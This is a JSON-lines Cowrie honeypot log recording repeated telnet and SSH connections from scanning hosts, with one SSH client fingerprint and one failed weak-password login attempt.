{"eventid":"cowrie.session.closed","duration":35.36751413345337,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:05.427948Z","src_ip":"162.55.233.176","session":"3e7057a706d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.33745622634888,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:05.643613Z","src_ip":"162.55.233.176","session":"76bcc159e792","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.314923524856567,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:05.769718Z","src_ip":"162.55.233.176","session":"e77c99f40e19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.302011013031006,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:05.800109Z","src_ip":"162.55.233.176","session":"4a693ce15dd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51668,"dst_ip":"159.203.135.109","dst_port":23,"session":"d28b66597a08","protocol":"telnet","message":"New connection: 162.55.233.176:51668 (159.203.135.109:23) [session: d28b66597a08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:05.928804Z"}
{"eventid":"cowrie.session.closed","duration":31.50191307067871,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:06.028194Z","src_ip":"162.55.233.176","session":"09ae49ad6d84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.783236980438232,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:06.816624Z","src_ip":"162.55.233.176","session":"c9a834f13e7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51682,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fe4e764410f","protocol":"telnet","message":"New connection: 162.55.233.176:51682 (159.203.135.109:23) [session: 0fe4e764410f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:06.983552Z"}
{"eventid":"cowrie.session.closed","duration":36.38838052749634,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:07.019532Z","src_ip":"162.55.233.176","session":"3d26f4ca89be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51692,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3124507228d","protocol":"telnet","message":"New connection: 162.55.233.176:51692 (159.203.135.109:23) [session: b3124507228d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:07.113260Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51696,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b19101f1ca0","protocol":"telnet","message":"New connection: 162.55.233.176:51696 (159.203.135.109:23) [session: 4b19101f1ca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:07.332579Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51706,"dst_ip":"159.203.135.109","dst_port":23,"session":"c051e7dac8cb","protocol":"telnet","message":"New connection: 162.55.233.176:51706 (159.203.135.109:23) [session: c051e7dac8cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:07.402272Z"}
{"eventid":"cowrie.session.closed","duration":39.14229989051819,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:07.686312Z","src_ip":"162.55.233.176","session":"2cbee689b6f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":49089,"dst_ip":"159.203.135.109","dst_port":22,"session":"0628eeae991b","protocol":"ssh","message":"New connection: 103.170.173.26:49089 (159.203.135.109:22) [session: 0628eeae991b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:07.872495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:07.877934Z","src_ip":"103.170.173.26","session":"0628eeae991b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:08.141591Z","src_ip":"103.170.173.26","session":"0628eeae991b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51720,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fabce46472e","protocol":"telnet","message":"New connection: 162.55.233.176:51720 (159.203.135.109:23) [session: 3fabce46472e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:08.542466Z"}
{"eventid":"cowrie.session.closed","duration":33.71774411201477,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:08.874518Z","src_ip":"162.55.233.176","session":"9c8e562da91e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.77797746658325,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:09.007389Z","src_ip":"162.55.233.176","session":"27f898fad06d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdfasdf","message":"login attempt [ubuntu/asdfasdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:09.218373Z","src_ip":"103.170.173.26","session":"0628eeae991b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.99518179893494,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:09.348097Z","src_ip":"162.55.233.176","session":"ad92c8f4a6ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51734,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d2f19f4a61a","protocol":"telnet","message":"New connection: 162.55.233.176:51734 (159.203.135.109:23) [session: 6d2f19f4a61a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:09.483069Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51750,"dst_ip":"159.203.135.109","dst_port":23,"session":"179ce2149ded","protocol":"telnet","message":"New connection: 162.55.233.176:51750 (159.203.135.109:23) [session: 179ce2149ded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:09.602838Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51758,"dst_ip":"159.203.135.109","dst_port":23,"session":"27c51f772d03","protocol":"telnet","message":"New connection: 162.55.233.176:51758 (159.203.135.109:23) [session: 27c51f772d03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:10.478044Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:10.483283Z","src_ip":"103.170.173.26","session":"0628eeae991b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.722124814987183,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:10.973811Z","src_ip":"162.55.233.176","session":"9a66cbfa7ed3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.757699489593506,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:11.046469Z","src_ip":"162.55.233.176","session":"ea4669db6156","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.708842515945435,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:11.230157Z","src_ip":"162.55.233.176","session":"0ffc4e2337a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51760,"dst_ip":"159.203.135.109","dst_port":23,"session":"d84a46329989","protocol":"telnet","message":"New connection: 162.55.233.176:51760 (159.203.135.109:23) [session: d84a46329989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:11.528453Z"}
{"eventid":"cowrie.session.closed","duration":30.729026079177856,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:11.534368Z","src_ip":"162.55.233.176","session":"1fef2cbd5ca9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.073859214782715,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:11.826305Z","src_ip":"162.55.233.176","session":"b40b05622af9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.363548517227173,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:12.270988Z","src_ip":"162.55.233.176","session":"3ab81f8b7a0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.72124981880188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:12.287920Z","src_ip":"162.55.233.176","session":"12ed2f966fcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51766,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f6423cc077e","protocol":"telnet","message":"New connection: 162.55.233.176:51766 (159.203.135.109:23) [session: 5f6423cc077e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:12.360386Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51756,"dst_ip":"159.203.135.109","dst_port":23,"session":"9441df24c5d8","protocol":"telnet","message":"New connection: 162.55.233.176:51756 (159.203.135.109:23) [session: 9441df24c5d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:12.472405Z"}
{"eventid":"cowrie.session.closed","duration":31.087181568145752,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:12.707194Z","src_ip":"162.55.233.176","session":"917de8a14b09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51778,"dst_ip":"159.203.135.109","dst_port":23,"session":"715f2dce8a77","protocol":"telnet","message":"New connection: 162.55.233.176:51778 (159.203.135.109:23) [session: 715f2dce8a77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:12.785658Z"}
{"eventid":"cowrie.session.closed","duration":31.915353298187256,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:12.882517Z","src_ip":"162.55.233.176","session":"1dc192496522","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39596,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a9a29c31b9f","protocol":"telnet","message":"New connection: 162.55.233.176:39596 (159.203.135.109:23) [session: 1a9a29c31b9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:12.953144Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39598,"dst_ip":"159.203.135.109","dst_port":23,"session":"e544c7f17f2f","protocol":"telnet","message":"New connection: 162.55.233.176:39598 (159.203.135.109:23) [session: e544c7f17f2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:13.120261Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39614,"dst_ip":"159.203.135.109","dst_port":23,"session":"2eb4b7febdae","protocol":"telnet","message":"New connection: 162.55.233.176:39614 (159.203.135.109:23) [session: 2eb4b7febdae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:13.251866Z"}
{"eventid":"cowrie.session.closed","duration":33.58794164657593,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:13.826262Z","src_ip":"162.55.233.176","session":"ba189519ebdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.464816093444824,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:13.863945Z","src_ip":"162.55.233.176","session":"cba8cadd9444","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39628,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e99aaf8a25c","protocol":"telnet","message":"New connection: 162.55.233.176:39628 (159.203.135.109:23) [session: 6e99aaf8a25c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:14.233443Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39638,"dst_ip":"159.203.135.109","dst_port":23,"session":"2919b60406ca","protocol":"telnet","message":"New connection: 162.55.233.176:39638 (159.203.135.109:23) [session: 2919b60406ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:14.328217Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39650,"dst_ip":"159.203.135.109","dst_port":23,"session":"523a3bccabd8","protocol":"telnet","message":"New connection: 162.55.233.176:39650 (159.203.135.109:23) [session: 523a3bccabd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:14.472030Z"}
{"eventid":"cowrie.session.closed","duration":34.20149874687195,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:15.035163Z","src_ip":"162.55.233.176","session":"11fd2fb0d3ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39666,"dst_ip":"159.203.135.109","dst_port":23,"session":"aeea773c73f2","protocol":"telnet","message":"New connection: 162.55.233.176:39666 (159.203.135.109:23) [session: aeea773c73f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:15.177440Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39668,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccc08c4e5f30","protocol":"telnet","message":"New connection: 162.55.233.176:39668 (159.203.135.109:23) [session: ccc08c4e5f30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:15.349642Z"}
{"eventid":"cowrie.session.closed","duration":34.259976863861084,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:15.386465Z","src_ip":"162.55.233.176","session":"bb497b8bd1c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39684,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cdcaf061a6f","protocol":"telnet","message":"New connection: 162.55.233.176:39684 (159.203.135.109:23) [session: 4cdcaf061a6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:15.508613Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39700,"dst_ip":"159.203.135.109","dst_port":23,"session":"572e891a0312","protocol":"telnet","message":"New connection: 162.55.233.176:39700 (159.203.135.109:23) [session: 572e891a0312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:15.582271Z"}
{"eventid":"cowrie.session.closed","duration":34.68601036071777,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:15.749409Z","src_ip":"162.55.233.176","session":"65dbd90107a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.07798767089844,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:15.801692Z","src_ip":"162.55.233.176","session":"7f4b024086fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39714,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fc630af0fca","protocol":"telnet","message":"New connection: 162.55.233.176:39714 (159.203.135.109:23) [session: 3fc630af0fca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:15.924351Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39728,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e64e84e086a","protocol":"telnet","message":"New connection: 162.55.233.176:39728 (159.203.135.109:23) [session: 8e64e84e086a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:16.101897Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39736,"dst_ip":"159.203.135.109","dst_port":23,"session":"6160f871ea5e","protocol":"telnet","message":"New connection: 162.55.233.176:39736 (159.203.135.109:23) [session: 6160f871ea5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:16.512577Z"}
{"eventid":"cowrie.session.closed","duration":31.02071499824524,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:16.819897Z","src_ip":"162.55.233.176","session":"f89239aabc74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.987831115722656,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:17.025276Z","src_ip":"162.55.233.176","session":"e727d2bd3787","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39740,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc3a490b8a08","protocol":"telnet","message":"New connection: 162.55.233.176:39740 (159.203.135.109:23) [session: cc3a490b8a08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:17.090689Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39742,"dst_ip":"159.203.135.109","dst_port":23,"session":"a35c522b0e38","protocol":"telnet","message":"New connection: 162.55.233.176:39742 (159.203.135.109:23) [session: a35c522b0e38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:17.147696Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39748,"dst_ip":"159.203.135.109","dst_port":23,"session":"d009b3174fa8","protocol":"telnet","message":"New connection: 162.55.233.176:39748 (159.203.135.109:23) [session: d009b3174fa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:17.534257Z"}
{"eventid":"cowrie.session.closed","duration":37.95890927314758,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:17.986375Z","src_ip":"162.55.233.176","session":"69c5ca47f6e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.595098733901978,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:18.220495Z","src_ip":"162.55.233.176","session":"e2de0b7bd9c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39774,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b32c7898354","protocol":"telnet","message":"New connection: 162.55.233.176:39774 (159.203.135.109:23) [session: 0b32c7898354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:18.294438Z"}
{"eventid":"cowrie.session.closed","duration":34.40920543670654,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:18.960062Z","src_ip":"162.55.233.176","session":"263b13df19f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39784,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a6b28e4290b","protocol":"telnet","message":"New connection: 162.55.233.176:39784 (159.203.135.109:23) [session: 9a6b28e4290b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:19.131122Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39764,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e6d5b2c7b34","protocol":"telnet","message":"New connection: 162.55.233.176:39764 (159.203.135.109:23) [session: 7e6d5b2c7b34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:19.259715Z"}
{"eventid":"cowrie.session.closed","duration":35.092522859573364,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:19.266051Z","src_ip":"162.55.233.176","session":"22104c736635","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39780,"dst_ip":"159.203.135.109","dst_port":23,"session":"450963aaa95d","protocol":"telnet","message":"New connection: 162.55.233.176:39780 (159.203.135.109:23) [session: 450963aaa95d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:19.595167Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39796,"dst_ip":"159.203.135.109","dst_port":23,"session":"710e99860277","protocol":"telnet","message":"New connection: 162.55.233.176:39796 (159.203.135.109:23) [session: 710e99860277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:19.805204Z"}
{"eventid":"cowrie.session.closed","duration":31.770663499832153,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:20.029578Z","src_ip":"162.55.233.176","session":"feaa9fb2364d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":42876,"dst_ip":"10.17.0.5","dst_port":23,"session":"57a33027dfef","protocol":"telnet","message":"New connection: 206.189.32.23:42876 (10.17.0.5:23) [session: 57a33027dfef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:20.605542Z"}
{"eventid":"cowrie.session.closed","duration":33.981621980667114,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:20.944308Z","src_ip":"162.55.233.176","session":"d2d9c78115e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.485610246658325,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:20.949832Z","src_ip":"162.55.233.176","session":"8d5431257d1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.137.11.14","src_port":54379,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f4cc7ec6921","protocol":"ssh","message":"New connection: 38.137.11.14:54379 (10.17.0.5:22) [session: 0f4cc7ec6921]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:22.110338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:22.115112Z","src_ip":"38.137.11.14","session":"0f4cc7ec6921","protocol":"ssh"}
